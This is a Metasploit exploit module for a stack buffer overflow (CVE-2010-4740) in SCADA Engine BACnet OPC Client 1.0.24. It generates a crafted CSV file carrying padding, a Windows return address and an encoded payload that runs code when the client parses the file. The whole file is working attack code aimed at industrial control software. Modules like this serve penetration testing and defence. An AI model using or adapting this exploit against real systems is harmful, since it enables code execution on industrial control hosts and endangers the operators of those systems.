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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::FILEFORMAT
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'BACnet OPC Client Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in SCADA
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        Engine BACnet OPC Client v1.0.24. When the BACnet OPC Client
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        parses a specially crafted csv file, arbitrary code may be
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        executed.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         => [ 'Jeremy Brown', 'MC' ],
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      'References'     =>
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        [
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          [ 'CVE', '2010-4740' ],
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          [ 'OSVDB', '68096'],
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          [ 'BID', '43289' ],
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          [ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-10-264-01' ],
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process',
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        },
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      'Payload'        =>
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        {
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          'MinNops'  => 0,
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          'MaxNops'  => 0,
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          'Space'    => 698,
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          'BadChars' =>  Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
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          'StackAdjustment' => -3500,
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          'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
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          'EncoderOptions' =>
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            {
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              'BufferRegister' => 'ECX',
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            },
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        },
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      'Platform' => 'win',
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      'Targets'        =>
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        [
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          [ 'Windows XP SP3 English',   { 'Ret' => 0x77e26323 } ],
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          [ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ],
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        ],
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      'Privileged'     => false,
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      'DisclosureDate' => '2010-09-16',
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        OptString.new( 'FILENAME',  [ false, 'The file name.',  'msf.csv' ]),
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      ])
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  end
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  def exploit
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    csv = "OPC_TAG_NAME,OBJECT_TYPE,INSTANCE,OBJECT_NAME\n\\"
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    csv << rand_text_alpha_upper(185)
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    csv << [target.ret].pack('V') + rand_text_alpha_upper(4)
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    csv << payload.encoded + rand_text_alpha_upper(750 - payload.encoded.length)
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    csv << "\\scada,0,0,\n"
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    print_status("Creating '#{datastore['FILENAME']}' file ...")
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    file_create(csv)
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  end
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end
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